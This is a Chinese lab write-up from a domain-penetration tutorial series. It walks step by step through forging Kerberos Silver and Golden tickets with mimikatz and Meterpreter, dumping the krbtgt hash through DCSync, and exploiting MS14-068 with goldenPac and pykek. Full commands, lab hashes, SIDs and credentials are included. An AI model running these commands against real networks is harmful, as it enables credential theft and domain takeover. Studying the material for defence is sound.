域渗透学习(七)PTT 票据传递攻击
域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash
域渗透学习(五)基于IPC的远程连接
域渗透学习(六)PTH 哈希传递攻击
PTT 票据传递攻击
白银票据(Silver Tickets)
特点:
- 无需与KDC交互
- 需要目标Server的NTLM Hash
在前文kerberos认证中的Ticket的组成:
1 | Ticket=Server Hash(Server Session Key+Client info+End Time) |
当拥有Server(Service) Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash。
获取Server Hash
1 | C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt |
或者使用RCE漏洞获取到目标后加载mimikatz读取 该主机名为WEB的服务器
msf中加载mimikatz后使用msv来获取所有哈希
1 | meterpreter > load mimikatz |
其中这一条即为需要的Service Hash
1 | 0;996 Negotiate DE1AY WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d } |
伪造白银票据
尝试访问主机WEB
需要进行身份验证
伪造票据前先清空票据,保证票据列表干净
1 | kerberos::list #列出票据 |
伪造票据:
1 | mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit |
伪造票据需要目标主机的主机名,主机名对应用户的NTLM Hash 和域的SID
获取域的SID可以通过wmic useraccount where name="krbtgt" get sid
或者下文中获取高权限账户后使用lsadump::dcsync /user:krbtgt
域SID即为图中标红的S-1-5-21-2756371121-2868759905-3853650604
红色后面的的是RID 并非域SID
注意如果查询的用户名同时存在域用户和本地用户的话,会得到两个查询结果:如图中查询的de1ay用户会返回两个SID
获取到所需的信息后使用mimikatz伪造一个管理员权限的票据:
1 | kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:WEB /service:CIFS /rc4:01ad29e76541f46e60129e2fb3acfc5d /user:Administrator /ptt |
再次访问WEB服务器,成功
访问DC仍然需要验证:
由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造,可伪造的服务类型列表如下:
服务 | 服务名 |
---|---|
WMI | HOST、RPCSS |
Powershell Remoteing | HOST、HTTP |
Scheduled Tasks | HOST |
LDAP 、DCSync | LDAP |
Windows File Share (CIFS) | CIFS |
Windows Remote ServerAdministration Tools | RPCSS、LDAP、CIFS |
服务端可能的防御措施:HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters
中的ValidateKdcPacSignature
设置为1,可规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效
黄金票据(Golden Tickets)
- 需要与DC通信
- 需要krbtgt用户的Hash(KDC Hash)
域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递
域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。
获取krbtgt用户哈希
DCSync (mimikatz)
mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
1
lsadump::dcsync /user:krbtgt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69mimikatz # lsadump::dcsync /user:krbtgt
[DC] 'de1ay.com' will be the domain
[DC] 'DC.de1ay.com' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 2019/9/9 10:44:59
Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502
Object Relative ID : 502
Credentials:
Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb
ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb
lm - 0: 9b5cd36575630d629f3aa6d769ec91c3
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : DE1AY.COMkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
aes128_hmac (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f
des_cbc_md5 (4096) : 79c8dc79fe467552
* Primary:Kerberos *
Default Salt : DE1AY.COMkrbtgt
Credentials
des_cbc_md5 : 79c8dc79fe467552
* Packages *
Kerberos-Newer-Keys
* Primary:WDigest *
01 6486daf200f85102b9a66f0bb698f964
02 618b4df7c8262508a26641b5271693fe
03 657b7f6a13829e21c18da26ee927dd7a
04 6486daf200f85102b9a66f0bb698f964
05 618b4df7c8262508a26641b5271693fe
06 6702b7e06d68443bbd003fa1fd2ad6c2
07 6486daf200f85102b9a66f0bb698f964
08 5057528d4ee40f9ffda5ab89fc76e45c
09 5057528d4ee40f9ffda5ab89fc76e45c
10 ec101c8f1831c5ddefbcdabf2d854077
11 48c89ab471a5a096c8895ca7c9fb8098
12 5057528d4ee40f9ffda5ab89fc76e45c
13 f63f9768f77b7a60dd75f79b210d31c5
14 48c89ab471a5a096c8895ca7c9fb8098
15 334888d42cd914936f94d6c2875f77a3
16 334888d42cd914936f94d6c2875f77a3
17 930580b0e2523dbc40d8b34efc9a83d1
18 d7bb3256dc319c0a9bdbff3ef0b3d618
19 120122f0735a3841c210d145d092d0fc
20 d371f34cf41adb5a09c8507a94066c48
21 61b1669bec1aa4a9873703229854e57d
22 61b1669bec1aa4a9873703229854e57d
23 963efa120b17bf8ea89eb2906fdf0092
24 8a015afc23c33423a0557e59bd6d573c
25 8a015afc23c33423a0557e59bd6d573c
26 a1fa583bfc8008249d6649630aada4a0
27 c13cf2b5ecb0894a09f8dd0831732da4
28 679145bff502118a02f6f3af19067da2
29 e371aa57cba0556074c58686ef433c30或者在 meterpreter 中使用 kiwi 扩展
1
dcsync_ntlm krbtgt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19meterpreter > getuid
Server username: DE1AY\Administrator
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.1.1 20180925 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
[+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3
[+] SID : S-1-5-21-2756371121-2868759905-3853650604-502
[+] RID : 502LSA(mimikatz)
mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
1
2privilege::debug
lsadump::lsa /inject /name:krbtgtHashdump(Meterpreter)
伪造黄金票据
使用meterpreter中的kiwi模块:
1
load kiwi
创建票据
1
golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>
1
golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket
对域内其他机器进行共享访问,因为无权限失败
注入到内存1
kerberos_ticket_use /tmp/krbtgt.ticket
再次访问
可成功访问域内其他机器和域控
此时也可使用wmic在WEB机器上执行命令1
wmic /authority:"kerberos:de1ay\WEB" /node:"WEB" process call create "calc"
命令已经在目标服务器上以administrator权限成功执行
使用mimikatz
1
mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
访问另一台机器WEB
\\web\C$
需要身份验证使用mimikatz伪造黄金票据
进入mimikatz交互界面
使用
kerberos::list
查看当前凭据列表发现已经有部分凭据,使用
kerberos::purge
来清空凭据确保凭据列表是干净的使用前面获得的krbtgt用户的哈希生成黄金票据
SID
1
Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502
注意这里的是域SID+RID(-502) RID去掉后才是域SID
NTLM Hash
1
82dfc71b72a11ef37d663047bc2088fb
生成黄金票据并注入内存
1
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /rc4:82dfc71b72a11ef37d663047bc2088fb /user:xxx /ptt
查看票据
kerberos::list
再次尝试访问目标服务器WEB
同样也可以访问DC服务器(或域内任意一台机器)注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议
ms14-068 域提权漏洞
测试环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
利用PAC验证缺陷,导致可以通过伪造PAC中的用户签名来获取域管理员权限
具体详情:
https://technet.microsoft.com/library/security/ms14-068.aspx
https://www.freebuf.com/vuls/56081.html
利用前提
- 域控机器没有安装MS14-068补丁
- 获取到域内普通用户的密码/Hash 以及SUID
可以在DC机器上查看是否安装KB3011780补丁来判断是否存在MS14-068漏洞
利用该漏洞最简单的方法是使用Impacket工具包中的goldenPac 模块
先查看当前用户权限
Domain Users用户组
访问DC目录被拒绝
goldenPac
复制goldenPac.exe 到目标机器
目前已获取当前机器普通域用户leo 密码 123.com
1 | goldenPac <域名>/<用户名>:<密码>@<域控地址> |
1 | C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:123.com@dc.sun.com |
或者使用proxychains将goldenPac代理进内网
1 | aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:123.com@dc.sun.com |
goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题
pykek
使用方法:
1 | ms14.068.exe -u <用户名>@<域名> -s <SID> -d <DC机器地址或ip> -p <用户密码> |
1 | C:\Users\leo\Desktop>MS14-068.exe -u leo@sun.com -s S-1-5-21-3388020223-19827017 |
获得ccache文件后,可使用mimikatz进行票据注入
kerberos::purge
或者cmd中执行klist purge
1 | kerberos::ptc cache路径 |
注入完成后再次尝试是否有权限访问域控
用Vulnstack靶场二测试的时候没有成功,报了如下错误
如果有知道为什么的求留言告知